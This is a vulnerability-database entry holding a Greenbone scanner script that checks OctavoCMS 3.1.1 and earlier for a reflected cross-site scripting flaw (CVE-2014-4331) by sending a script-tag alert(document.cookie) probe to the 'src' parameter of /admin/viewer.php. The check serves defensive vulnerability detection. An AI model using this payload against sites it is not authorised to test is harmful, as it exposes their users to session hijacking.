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OctavoCMS <= 3.1.1 XSS Vulnerability - Active Check

🗓️ 30 Jul 2014 00:00:00Reported by Copyright (C) 2014 Greenbone AGType 
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OctavoCMS 'src' Parameter Cross-Site Scripting Vulnerabilit

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# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804697");
  script_version("2025-09-19T05:38:25+0000");
  script_tag(name:"last_modification", value:"2025-09-19 05:38:25 +0000 (Fri, 19 Sep 2025)");
  script_tag(name:"creation_date", value:"2014-07-30 12:51:13 +0530 (Wed, 30 Jul 2014)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2014-4331");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("OctavoCMS <= 3.1.1 XSS Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl",
                      "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl",
                      "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"OctavoCMS is prone to a cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Input passed via the HTTP GET parameter 'src' to
  '/admin/viewer.php' script is not properly sanitised before returning to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"OctavoCMS version 3.1.1 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/94401");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/68469");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/127404");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port: port))
  exit(0);

foreach dir (make_list_unique("/", "/octavocms", "/cms", http_cgi_dirs(port: port))) {
  if (dir == "/")
    dir = "";

  res = http_get_cache(port: port, item: dir + "/admin/login.php");

  if (res !~ "^HTTP/1\.[01] 200" || "Octavo Content Management<" >!< res)
    continue;

  url = dir + '/admin/viewer.php?src="><script>alert(document.cookie)</script>';

  if (http_vuln_check(port: port, url: url, check_header: TRUE,
                      pattern: "<script>alert\(document\.cookie\)</script>",
                      extra_check:"Octavo Content Management<")) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);

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19 Sep 2025 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
EPSS0.01854
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